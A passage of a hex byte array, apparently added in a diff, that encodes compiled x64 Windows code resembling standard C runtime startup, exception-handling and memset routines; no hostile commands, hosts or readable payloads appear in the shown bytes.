0x01, 0x00, 0x00, 0x8b, 0xd9, 0x75, + 0x67, 0x83, 0xf9, 0x01, 0x77, 0x6a, 0xe8, 0xdd, 0x04, 0x00, 0x00, 0x85, + 0xc0, 0x74, 0x28, 0x85, 0xdb, 0x75, 0x24, 0x48, 0x8d, 0x0d, 0x76, 0xbe, + 0x01, 0x00, 0xe8, 0x29, 0x3e, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x10, 0x48, + 0x8d, 0x0d, 0x7e, 0xbe, 0x01, 0x00, 0xe8, 0x19, 0x3e, 0x00, 0x00, 0x85, + 0xc0, 0x74, 0x2e, 0x32, 0xc0, 0xeb, 0x33, 0x66, 0x0f, 0x6f, 0x05, 0x21, + 0x01, 0x01, 0x00, 0x48, 0x83, 0xc8, 0xff, 0xf3, 0x0f, 0x7f, 0x05, 0x45, + 0xbe, 0x01, 0x00, 0x48, 0x89, 0x05, 0x4e, 0xbe, 0x01, 0x00, 0xf3, 0x0f, + 0x7f, 0x05, 0x4e, 0xbe, 0x01, 0x00, 0x48, 0x89, 0x05, 0x57, 0xbe, 0x01, + 0x00, 0xc6, 0x05, 0x21, 0xbe, 0x01, 0x00, 0x01, 0xb0, 0x01, 0x48, 0x83, + 0xc4, 0x20, 0x5b, 0xc3, 0xb9, 0x05, 0x00, 0x00, 0x00, 0xe8, 0xfa, 0x00, + 0x00, 0x00, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x18, 0x4c, 0x8b, 0xc1, 0xb8, + 0x4d, 0x5a, 0x00, 0x00, 0x66, 0x39, 0x05, 0x21, 0xdd, 0xff, 0xff, 0x75, + 0x78, 0x48, 0x63, 0x0d, 0x54, 0xdd, 0xff, 0xff, 0x48, 0x8d, 0x15, 0x11, + 0xdd, 0xff, 0xff, 0x48, 0x03, 0xca, 0x81, 0x39, 0x50, 0x45, 0x00, 0x00, + 0x75, 0x5f, 0xb8, 0x0b, 0x02, 0x00, 0x00, 0x66, 0x39, 0x41, 0x18, 0x75, + 0x54, 0x4c, 0x2b, 0xc2, 0x0f, 0xb7, 0x41, 0x14, 0x48, 0x8d, 0x51, 0x18, + 0x48, 0x03, 0xd0, 0x0f, 0xb7, 0x41, 0x06, 0x48, 0x8d, 0x0c, 0x80, 0x4c, + 0x8d, 0x0c, 0xca, 0x48, 0x89, 0x14, 0x24, 0x49, 0x3b, 0xd1, 0x74, 0x18, + 0x8b, 0x4a, 0x0c, 0x4c, 0x3b, 0xc1, 0x72, 0x0a, 0x8b, 0x42, 0x08, 0x03, + 0xc1, 0x4c, 0x3b, 0xc0, 0x72, 0x08, 0x48, 0x83, 0xc2, 0x28, 0xeb, 0xdf, + 0x33, 0xd2, 0x48, 0x85, 0xd2, 0x75, 0x04, 0x32, 0xc0, 0xeb, 0x14, 0x83, + 0x7a, 0x24, 0x00, 0x7d, 0x04, 0x32, 0xc0, 0xeb, 0x0a, 0xb0, 0x01, 0xeb, + 0x06, 0x32, 0xc0, 0xeb, 0x02, 0x32, 0xc0, 0x48, 0x83, 0xc4, 0x18, 0xc3, + 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x8a, 0xd9, 0xe8, 0xc7, 0x03, 0x00, + 0x00, 0x33, 0xd2, 0x85, 0xc0, 0x74, 0x0b, 0x84, 0xdb, 0x75, 0x07, 0x48, + 0x87, 0x15, 0x4e, 0xbd, 0x01, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, + 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x80, 0x3d, 0x43, 0xbd, 0x01, 0x00, + 0x00, 0x8a, 0xd9, 0x74, 0x04, 0x84, 0xd2, 0x75, 0x0c, 0xe8, 0x86, 0x3e, + 0x00, 0x00, 0x8a, 0xcb, 0xe8, 0x2f, 0x06, 0x00, 0x00, 0xb0, 0x01, 0x48, + 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x8d, 0x05, 0xcd, + 0xc9, 0x01, 0x00, 0xc3, 0x83, 0x25, 0x4d, 0xbd, 0x01, 0x00, 0x00, 0xc3, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x55, 0x48, 0x8d, 0xac, 0x24, 0x40, 0xfb, + 0xff, 0xff, 0x48, 0x81, 0xec, 0xc0, 0x05, 0x00, 0x00, 0x8b, 0xd9, 0xb9, + 0x17, 0x00, 0x00, 0x00, 0xff, 0x15, 0x1a, 0xfd, 0x00, 0x00, 0x85, 0xc0, + 0x74, 0x04, 0x8b, 0xcb, 0xcd, 0x29, 0xb9, 0x03, 0x00, 0x00, 0x00, 0xe8, + 0xc4, 0xff, 0xff, 0xff, 0x33, 0xd2, 0x48, 0x8d, 0x4d, 0xf0, 0x41, 0xb8, + 0xd0, 0x04, 0x00, 0x00, 0xe8, 0xa7, 0x06, 0x00, 0x00, 0x48, 0x8d, 0x4d, + 0xf0, 0xff, 0x15, 0xb5, 0xfc, 0x00, 0x00, 0x48, 0x8b, 0x9d, 0xe8, 0x00, + 0x00, 0x00, 0x48, 0x8d, 0x95, 0xd8, 0x04, 0x00, 0x00, 0x48, 0x8b, 0xcb, + 0x45, 0x33, 0xc0, 0xff, 0x15, 0xa3, 0xfc, 0x00, 0x00, 0x48, 0x85, 0xc0, + 0x74, 0x3c, 0x48, 0x83, 0x64, 0x24, 0x38, 0x00, 0x48, 0x8d, 0x8d, 0xe0, + 0x04, 0x00, 0x00, 0x48, 0x8b, 0x95, 0xd8, 0x04, 0x00, 0x00, 0x4c, 0x8b, + 0xc8, 0x48, 0x89, 0x4c, 0x24, 0x30, 0x4c, 0x8b, 0xc3, 0x48, 0x8d, 0x8d, + 0xe8, 0x04, 0x00, 0x00, 0x48, 0x89, 0x4c, 0x24, 0x28, 0x48, 0x8d, 0x4d, + 0xf0, 0x48, 0x89, 0x4c, 0x24, 0x20, 0x33, 0xc9, 0xff, 0x15, 0x6a, 0xfc, + 0x00, 0x00, 0x48, 0x8b, 0x85, 0xc8, 0x04, 0x00, 0x00, 0x48, 0x8d, 0x4c, + 0x24, 0x50, 0x48, 0x89, 0x85, 0xe8, 0x00, 0x00, 0x00, 0x33, 0xd2, 0x48, + 0x8d, 0x85, 0xc8, 0x04, 0x00, 0x00, 0x41, 0xb8, 0x98, 0x00, 0x00, 0x00, + 0x48, 0x83, 0xc0, 0x08, 0x48, 0x89, 0x85, 0x88, 0x00, 0x00, 0x00, 0xe8, + 0x10, 0x06, 0x00, 0x00, 0x48, 0x8b, 0x85, 0xc8, 0x04, 0x00, 0x00, 0x48, + 0x89, 0x44, 0x24, 0x60, 0xc7, 0x44, 0x24, 0x50, 0x15, 0x00, 0x00, 0x40, + 0xc7, 0x44, 0x24, 0x54, 0x01, 0x00, 0x00, 0x00, 0xff, 0x15, 0x66, 0xfc, + 0x00, 0x00, 0x83, 0xf8, 0x01, 0x48, 0x8d, 0x44, 0x24, 0x50, 0x48, 0x89, + 0x44, 0x24, 0x40, 0x48, 0x8d, 0x45, 0xf0, 0x0f, 0x94, 0xc3, 0x48, 0x89, + 0x44, 0x24, 0x48, 0x33, 0xc9, 0xff, 0x15, 0x05, 0xfc, 0x00, 0x00, 0x48, + 0x8d, 0x4c, 0x24, 0x40, 0xff, 0x15, 0xf2, 0xfb, 0x00, 0x00, 0x85, 0xc0, + 0x75, 0x0c, 0x84, 0xdb, 0x75, 0x08, 0x8d, 0x48, 0x03, 0xe8, 0xbe, 0xfe, + 0xff, 0xff, 0x48, 0x8b, 0x9c, 0x24, 0xd0, 0x05, 0x00, 0x00, 0x48, 0x81, + 0xc4, 0xc0, 0x05, 0x00, 0x00, 0x5d, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0x1d, 0xa7, 0x85, 0x01, + 0x00, 0x48, 0x8d, 0x3d, 0xa0, 0x85, 0x01, 0x00, 0xeb, 0x12, 0x48, 0x8b, + 0x03, 0x48, 0x85, 0xc0, 0x74, 0x06, 0xff, 0x15, 0xd0, 0xfd, 0x00, 0x00, + 0x48, 0x83, 0xc3, 0x08, 0x48, 0x3b, 0xdf, 0x72, 0xe9, 0x48, 0x8b, 0x5c, + 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0x1d, 0x7b, 0x85, 0x01, + 0x00, 0x48, 0x8d, 0x3d, 0x74, 0x85, 0x01, 0x00, 0xeb, 0x12, 0x48, 0x8b, + 0x03, 0x48, 0x85, 0xc0, 0x74, 0x06, 0xff, 0x15, 0x94, 0xfd, 0x00, 0x00, + 0x48, 0x83, 0xc3, 0x08, 0x48, 0x3b, 0xdf, 0x72, 0xe9, 0x48, 0x8b, 0x5c, + 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xc2, 0x00, 0x00, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, + 0x83, 0xec, 0x10, 0x33, 0xc0, 0x33, 0xc9, 0x0f, 0xa2, 0x44, 0x8b, 0xc1, + 0x45, 0x33, 0xdb, 0x44, 0x8b, 0xcb, 0x41, 0x81, 0xf0, 0x6e, 0x74, 0x65, + 0x6c, 0x41, 0x81, 0xf1, 0x47, 0x65, 0x6e, 0x75, 0x44, 0x8b, 0xd2, 0x8b, + 0xf0, 0x33, 0xc9, 0x41, 0x8d, 0x43, 0x01, 0x45, 0x0b, 0xc8, 0x0f, 0xa2, + 0x41, 0x81, 0xf2, 0x69, 0x6e, 0x65, 0x49, 0x89, 0x04, 0x24, 0x45, 0x0b, + 0xca, 0x89, 0x5c, 0x24, 0x04, 0x8b, 0xf9, 0x89, 0x4c, 0x24, 0x08, 0x89, + 0x54, 0x24, 0x0c, 0x75, 0x50, 0x48, 0x83, 0x0d, 0x33, 0xaa, 0x01, 0x00, + 0xff, 0x25, 0xf0, 0x3f, 0xff, 0x0f, 0x3d, 0xc0, 0x06, 0x01, 0x00, 0x74, + 0x28, 0x3d, 0x60, 0x06, 0x02, 0x00, 0x74, 0x21, 0x3d, 0x70, 0x06, 0x02, + 0x00, 0x74, 0x1a, 0x05, 0xb0, 0xf9, 0xfc, 0xff, 0x83, 0xf8, 0x20, 0x77, + 0x24, 0x48, 0xb9, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x48, + 0x0f, 0xa3, 0xc1, 0x73, 0x14, 0x44, 0x8b, 0x05, 0xf8, 0xba, 0x01, 0x00, + 0x41, 0x83, 0xc8, 0x01, 0x44, 0x89, 0x05, 0xed, 0xba, 0x01, 0x00, 0xeb, + 0x07, 0x44, 0x8b, 0x05, 0xe4, 0xba, 0x01, 0x00, 0xb8, 0x07, 0x00, 0x00, + 0x00, 0x44, 0x8d, 0x48, 0xfb, 0x3b, 0xf0, 0x7c, 0x26, 0x33, 0xc9, 0x0f, + 0xa2, 0x89, 0x04, 0x24, 0x44, 0x8b, 0xdb, 0x89, 0x5c, 0x24, 0x04, 0x89, + 0x4c, 0x24, 0x08, 0x89, 0x54, 0x24, 0x0c, 0x0f, 0xba, 0xe3, 0x09, 0x73, + 0x0a, 0x45, 0x0b, 0xc1, 0x44, 0x89, 0x05, 0xb1, 0xba, 0x01, 0x00, 0xc7, + 0x05, 0x9f, 0xa9, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x44, 0x89, 0x0d, + 0x9c, 0xa9, 0x01, 0x00, 0x0f, 0xba, 0xe7, 0x14, 0x0f, 0x83, 0x91, 0x00, + 0x00, 0x00, 0x44, 0x89, 0x0d, 0x87, 0xa9, 0x01, 0x00, 0xbb, 0x06, 0x00, + 0x00, 0x00, 0x89, 0x1d, 0x80, 0xa9, 0x01, 0x00, 0x0f, 0xba, 0xe7, 0x1b, + 0x73, 0x79, 0x0f, 0xba, 0xe7, 0x1c, 0x73, 0x73, 0x33, 0xc9, 0x0f, 0x01, + 0xd0, 0x48, 0xc1, 0xe2, 0x20, 0x48, 0x0b, 0xd0, 0x48, 0x89, 0x54, 0x24, + 0x20, 0x48, 0x8b, 0x44, 0x24, 0x20, 0x22, 0xc3, 0x3a, 0xc3, 0x75, 0x57, + 0x8b, 0x05, 0x52, 0xa9, 0x01, 0x00, 0x83, 0xc8, 0x08, 0xc7, 0x05, 0x41, + 0xa9, 0x01, 0x00, 0x03, 0x00, 0x00, 0x00, 0x89, 0x05, 0x3f, 0xa9, 0x01, + 0x00, 0x41, 0xf6, 0xc3, 0x20, 0x74, 0x38, 0x83, 0xc8, 0x20, 0xc7, 0x05, + 0x28, 0xa9, 0x01, 0x00, 0x05, 0x00, 0x00, 0x00, 0x89, 0x05, 0x26, 0xa9, + 0x01, 0x00, 0xb8, 0x00, 0x00, 0x03, 0xd0, 0x44, 0x23, 0xd8, 0x44, 0x3b, + 0xd8, 0x75, 0x18, 0x48, 0x8b, 0x44, 0x24, 0x20, 0x24, 0xe0, 0x3c, 0xe0, + 0x75, 0x0d, 0x83, 0x0d, 0x07, 0xa9, 0x01, 0x00, 0x40, 0x89, 0x1d, 0xfd, + 0xa8, 0x01, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x28, 0x33, 0xc0, 0x48, 0x8b, + 0x74, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x10, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, + 0xb8, 0x01, 0x00, 0x00, 0x00, 0xc3, 0xcc, 0xcc, 0x33, 0xc0, 0x39, 0x05, + 0x40, 0xc6, 0x01, 0x00, 0x0f, 0x95, 0xc0, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, + 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, + 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x40, + 0x48, 0x8b, 0xe9, 0x4d, 0x8b, 0xf9, 0x49, 0x8b, 0xc8, 0x49, 0x8b, 0xf8, + 0x4c, 0x8b, 0xea, 0xe8, 0x04, 0x05, 0x00, 0x00, 0x4d, 0x8b, 0x67, 0x08, + 0x4d, 0x8b, 0x37, 0x49, 0x8b, 0x5f, 0x38, 0x4d, 0x2b, 0xf4, 0xf6, 0x45, + 0x04, 0x66, 0x41, 0x8b, 0x77, 0x48, 0x0f, 0x85, 0xdc, 0x00, 0x00, 0x00, + 0x48, 0x89, 0x6c, 0x24, 0x30, 0x48, 0x89, 0x7c, 0x24, 0x38, 0x3b, 0x33, + 0x0f, 0x83, 0x8a, 0x01, 0x00, 0x00, 0x8b, 0xfe, 0x48, 0x03, 0xff, 0x8b, + 0x44, 0xfb, 0x04, 0x4c, 0x3b, 0xf0, 0x0f, 0x82, 0xaa, 0x00, 0x00, 0x00, + 0x8b, 0x44, 0xfb, 0x08, 0x4c, 0x3b, 0xf0, 0x0f, 0x83, 0x9d, 0x00, 0x00, + 0x00, 0x83, 0x7c, 0xfb, 0x10, 0x00, 0x0f, 0x84, 0x92, 0x00, 0x00, 0x00, + 0x83, 0x7c, 0xfb, 0x0c, 0x01, 0x74, 0x17, 0x8b, 0x44, 0xfb, 0x0c, 0x48, + 0x8d, 0x4c, 0x24, 0x30, 0x49, 0x03, 0xc4, 0x49, 0x8b, 0xd5, 0xff, 0xd0, + 0x85, 0xc0, 0x78, 0x7d, 0x7e, 0x74, 0x81, 0x7d, 0x00, 0x63, 0x73, 0x6d, + 0xe0, 0x75, 0x28, 0x48, 0x83, 0x3d, 0xb9, 0xfb, 0x00, 0x00, 0x00, 0x74, + 0x1e, 0x48, 0x8d, 0x0d, 0xb0, 0xfb, 0x00, 0x00, 0xe8, 0x9b, 0xea, 0x00, + 0x00, 0x85, 0xc0, 0x74, 0x0e, 0xba, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, + 0xcd, 0xff, 0x15, 0x99, 0xfb, 0x00, 0x00, 0x8b, 0x4c, 0xfb, 0x10, 0x41, + 0xb8, 0x01, 0x00, 0x00, 0x00, 0x49, 0x03, 0xcc, 0x49, 0x8b, 0xd5, 0xe8, + 0x14, 0x04, 0x00, 0x00, 0x49, 0x8b, 0x47, 0x40, 0x4c, 0x8b, 0xc5, 0x8b, + 0x54, 0xfb, 0x10, 0x49, 0x8b, 0xcd, 0x44, 0x8b, 0x4d, 0x00, 0x49, 0x03, + 0xd4, 0x48, 0x89, 0x44, 0x24, 0x28, 0x49, 0x8b, 0x47, 0x28, 0x48, 0x89, + 0x44, 0x24, 0x20, 0xff, 0x15, 0xdb, 0xf8, 0x00, 0x00, 0xe8, 0x16, 0x04, + 0x00, 0x00, 0xff, 0xc6, 0xe9, 0x35, 0xff, 0xff, 0xff, 0x33, 0xc0, 0xe9, + 0xc5, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x7f, 0x20, 0x44, 0x8b, 0x0b, 0x49, + 0x2b, 0xfc, 0x41, 0x3b, 0xf1, 0x0f, 0x83, 0xad, 0x00, 0x00, 0x00, 0x45, + 0x8b, 0xc1, 0x8b, 0xd6, 0x41, 0x8b, 0xc8, 0x48, 0x03, 0xd2, 0x8b, 0x44, + 0xd3, 0x04, 0x4c, 0x3b, 0xf0, 0x0f, 0x82, 0x88, 0x00, 0x00, 0x00, 0x8b, + 0x44, 0xd3, 0x08, 0x4c, 0x3b, 0xf0, 0x73, 0x7f, 0x44, 0x8b, 0x5d, 0x04, + 0x41, 0x83, 0xe3, 0x20, 0x74, 0x44, 0x45, 0x33, 0xd2, 0x45, 0x85, 0xc0, + 0x74, 0x34, 0x41, 0x8b, 0xca, 0x48, 0x03, 0xc9, 0x8b, 0x44, 0xcb, 0x04, + 0x48, 0x3b, 0xf8, 0x72, 0x1d, 0x8b, 0x44, 0xcb, 0x08, 0x48, 0x3b, 0xf8, + 0x73, 0x14, 0x8b, 0x44, 0xd3, 0x10, 0x39, 0x44, 0xcb, 0x10, 0x75, 0x0a, + 0x8b, 0x44, 0xd3, 0x0c, 0x39, 0x44, 0xcb, 0x0c, 0x74, 0x08, 0x41, 0xff, + 0xc2, 0x45, 0x3b, 0xd0, 0x72, 0xcc, 0x41, 0x8b, 0xc9, 0x45, 0x3b, 0xd1, + 0x75, 0x3e, 0x8b, 0x44, 0xd3, 0x10, 0x85, 0xc0, 0x74, 0x0c, 0x48, 0x3b, + 0xf8, 0x75, 0x24, 0x45, 0x85, 0xdb, 0x75, 0x2c, 0xeb, 0x1d, 0x8d, 0x46, + 0x01, 0xb1, 0x01, 0x41, 0x89, 0x47, 0x48, 0x44, 0x8b, 0x44, 0xd3, 0x0c, + 0x49, 0x8b, 0xd5, 0x4d, 0x03, 0xc4, 0x41, 0xff, 0xd0, 0x44, 0x8b, 0x0b, + 0x41, 0x8b, 0xc9, 0xff, 0xc6, 0x44, 0x8b, 0xc1, 0x3b, 0xf1, 0x0f, 0x82, + 0x56, 0xff, 0xff, 0xff, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x5c, + 0x24, 0x40, 0x49, 0x8b, 0x5b, 0x30, 0x49, 0x8b, 0x6b, 0x38, 0x49, 0x8b, + 0x73, 0x40, 0x49, 0x8b, 0xe3, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, + 0x5c, 0x5f, 0xc3, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0xff, 0x15, + 0xe0, 0xf7, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x13, 0x48, 0x8b, 0x18, + 0x48, 0x8b, 0xc8, 0xe8, 0x20, 0x27, 0x00, 0x00, 0x48, 0x8b, 0xc3, 0x48, + 0x85, 0xdb, 0x75, 0xed, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, + 0x48, 0x83, 0xec, 0x28, 0xe8, 0xe3, 0x04, 0x00, 0x00, 0x84, 0xc0, 0x75, + 0x04, 0x32, 0xc0, 0xeb, 0x12, 0xe8, 0x6a, 0x04, 0x00, 0x00, 0x84, 0xc0, + 0x75, 0x07, 0xe8, 0x01, 0x05, 0x00, 0x00, 0xeb, 0xec, 0xb0, 0x01, 0x48, + 0x83, 0xc4, 0x28, 0xc3, 0x48, 0x83, 0xec, 0x28, 0xe8, 0x8f, 0x03, 0x00, + 0x00, 0x48, 0x85, 0xc0, 0x0f, 0x95, 0xc0, 0x48, 0x83, 0xc4, 0x28, 0xc3, + 0x48, 0x83, 0xec, 0x28, 0x33, 0xc9, 0xe8, 0x0d, 0x03, 0x00, 0x00, 0xb0, + 0x01, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, + 0x84, 0xc9, 0x75, 0x0a, 0xe8, 0x6b, 0x04, 0x00, 0x00, 0xe8, 0xbe, 0x04, + 0x00, 0x00, 0xb0, 0x01, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0xcc, + 0x48, 0x83, 0xec, 0x28, 0xe8, 0x53, 0x04, 0x00, 0x00, 0xb0, 0x01, 0x48, + 0x83, 0xc4, 0x28, 0xc3, 0x48, 0x85, 0xc9, 0x74, 0x67, 0x88, 0x54, 0x24, + 0x10, 0x48, 0x83, 0xec, 0x48, 0x81, 0x39, 0x63, 0x73, 0x6d, 0xe0, 0x75, + 0x53, 0x83, 0x79, 0x18, 0x04, 0x75, 0x4d, 0x8b, 0x41, 0x20, 0x2d, 0x20, + 0x05, 0x93, 0x19, 0x83, 0xf8, 0x02, 0x77, 0x40, 0x48, 0x8b, 0x41, 0x30, + 0x48, 0x85, 0xc0, 0x74, 0x37, 0x48, 0x63, 0x50, 0x04, 0x85, 0xd2, 0x74, + 0x11, 0x48, 0x03, 0x51, 0x38, 0x48, 0x8b, 0x49, 0x28, 0xe8, 0x2a, 0x00, + 0x00, 0x00, 0xeb, 0x20, 0xeb, 0x1e, 0xf6, 0x00, 0x10, 0x74, 0x19, 0x48, + 0x8b, 0x41, 0x28, 0x48, 0x8b, 0x08, 0x48, 0x85, 0xc9, 0x74, 0x0d, 0x48, + 0x8b, 0x01, 0x48, 0x8b, 0x40, 0x10, 0xff, 0x15, 0x9c, 0xf8, 0x00, 0x00, + 0x48, 0x83, 0xc4, 0x48, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0xff, 0xe2, 0xcc, + 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, + 0xcc, 0xcc, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x57, 0x8b, 0xc2, 0x48, 0x8b, 0xf9, 0x49, 0x8b, 0xc8, 0xf3, 0xaa, 0x49, + 0x8b, 0xc3, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x66, 0x66, + 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xd9, 0x0f, + 0xb6, 0xd2, 0x49, 0xb9, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, + 0x4c, 0x0f, 0xaf, 0xca, 0x49, 0x83, 0xf8, 0x10, 0x0f, 0x86, 0xf2, 0x00, + 0x00, 0x00, 0x66, 0x49, 0x0f, 0x6e, 0xc1, 0x66, 0x0f, 0x60, 0xc0, 0x49, + 0x81, 0xf8, 0x80, 0x00, 0x00, 0x00, 0x77, 0x10, 0xe9, 0x6b, 0x00, 0x00, + 0x00, 0x66, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xf6, 0x05, 0x29, 0xb6, 0x01, 0x00, 0x02, 0x75, 0x97, 0x0f, 0x11, 0x01, + 0x4c, 0x03, 0xc1, 0x48, 0x83, 0xc1, 0x10, 0x48, 0x83, 0xe1, 0xf0, 0x4c, + 0x2b, 0xc1, 0x4d, 0x8b, 0xc8, 0x49, 0xc1, 0xe9, 0x07, 0x74, 0x3d, 0x4c, + 0x3b, 0x0d, 0x0e, 0xa5, 0x01, 0x00, 0x0f, 0x87, 0x60, 0x00, 0x00, 0x00, + 0x0f, 0x29, 0x01, 0x0f, 0x29, 0x41, 0x10, 0x48, 0x81, 0xc1, 0x80, 0x00, + 0x00, 0x00, 0x0f, 0x29, 0x41, 0xa0, 0x0f, 0x29, 0x41, 0xb0, 0x49, 0xff, + 0xc9, 0x0f, 0x29, 0x41, 0xc0, 0x0f, 0x29, 0x41, 0xd0, 0x0f, 0x29, 0x41, + 0xe0, 0x66, 0x0f, 0x29, 0x41, 0xf0, 0x75, 0xd4, 0x49, 0x83, 0xe0, 0x7f, + 0x4d, 0x8b, 0xc8, 0x49, 0xc1, 0xe9, 0x04, 0x74, 0x13, 0x0f, 0x1f, 0x80, + 0x00, 0x00, 0x00, 0x00, 0x0f, 0x11, 0x01, 0x48, 0x83, 0xc1, 0x10, 0x49, + 0xff, 0xc9, 0x75, 0xf4, 0x49, 0x83, 0xe0, 0x0f, 0x74, 0x06, 0x42, 0x0f, + 0x11, 0x44, 0x01, 0xf0, 0x49, 0x8b, 0xc3, 0xc3, 0x0f, 0x1f, 0x40, 0x00, + 0x0f, 0x2b, 0x01, 0x0f, 0x2b, 0x41, 0x10, 0x48, 0x81, 0xc1, 0x80, 0x00, + 0x00, 0x00, 0x0f, 0x2b, 0x41, 0xa0, 0x0f, 0x2b, 0x41, 0xb0, 0x49, 0xff, + 0xc9, 0x0f, 0x2b, 0x41, 0xc0, 0x0f, 0x2b, 0x41, 0xd0, 0x0f, 0x2b, 0x41, + 0xe0, 0x0f, 0x2b, 0x41, 0xf0, 0x75, 0xd5, 0x0f, 0xae, 0xf8, 0x49, 0x83, + 0xe0, 0x7f, 0xeb, 0x9c, 0x66, 0x66, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xd1, 0x4c, 0x8d, 0x0d, 0x36, 0xd4, + 0xff, 0xff, 0x43, 0x8b, 0x84, 0x81, 0x00, 0x10, 0x02, 0x00, 0x4c, 0x03, + 0xc8, 0x49, 0x03, 0xc8, 0x49, 0x8b, 0xc3, 0x41, 0xff, 0xe1, 0x66, 0x90, + 0x48, 0x89, 0x51, 0xf1, 0x89, 0x51, 0xf9, 0x66, 0x89, 0x51, 0xfd, 0x88, + 0x51, 0xff, 0xc3, 0x90, 0x48, 0x89, 0x51, 0xf4, 0x89, 0x51, 0xfc, 0xc3, + 0x48, 0x89, 0x51, 0xf7, 0x88, 0x51, 0xff, 0xc3, 0x48, 0x89, 0x51, 0xf3, + 0x89, 0x51, 0xfb, 0x88, 0x51, 0xff, 0xc3, 0x0f, 0x1f, 0x44, 0x00, 0x00, + 0x48, 0x89, 0x51, 0xf2, 0x89, 0x51, 0xfa, 0x66, 0x89, 0x51, 0xfe, 0xc3, + 0x48, 0x89, 0x10, 0xc3, 0x48, 0x89, 0x10, 0x66, 0x89, 0x50, 0x08, 0x88, + 0x50, 0x0a, 0xc3, 0x0f, 0x1f, 0x44, 0x00, 0x00, 0x48, 0x89, 0x10, 0x66, + 0x89, 0x50, 0x08, 0xc3, 0x48, 0x89, 0x10, 0x48, 0x89, 0x50, 0x08, 0xc3, + 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0x4c, 0x24, 0x08, 0x48, 0x89, 0x54, + 0x24, 0x18, 0x44, 0x89, 0x44, 0x24, 0x10, 0x49, 0xc7, 0xc1, 0x20, 0x05, + 0x93, 0x19, 0xeb, 0x08, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x66, 0x90, + 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x66, 0x0f, 0x1f, 0x84, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0x05, 0x6d, + 0xf6, 0x00, 0x00, 0x48, 0x8d, 0x15, 0xf6, 0xf8, 0xff, 0xff, 0x48, 0x3b, + 0xc2, 0x74, 0x23, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x30, 0x00, 0x00, 0x00, + 0x48, 0x8b, 0x89, 0x98, 0x00, 0x00, 0x00, 0x48, 0x3b, 0x48, 0x10, 0x72, + 0x06, 0x48, 0x3b, 0x48, 0x08, 0x76, 0x07, 0xb9, 0x0d, 0x00, 0x00, 0x00, + 0xcd, 0x29, 0xc3, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x48, 0x85, 0xc9, 0x74, + 0x11, 0x48, 0x8d, 0x05, 0xd4, 0xb4, 0x01, 0x00, 0x48, 0x3b, 0xc8, 0x74, + 0x05, 0xe8, 0xc2, 0x23, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, + 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x8b, 0x0d, 0x45, + 0xa3, 0x01, 0x00, 0x83, 0xf9, 0xff, 0x74, 0x33, 0x48, 0x85, 0xdb, 0x75, + 0x0e, 0xe8, 0x6e, 0x0a, 0x00, 0x00, 0x8b, 0x0d, 0x30, 0xa3, 0x01, 0x00, + 0x48, 0x8b, 0xd8, 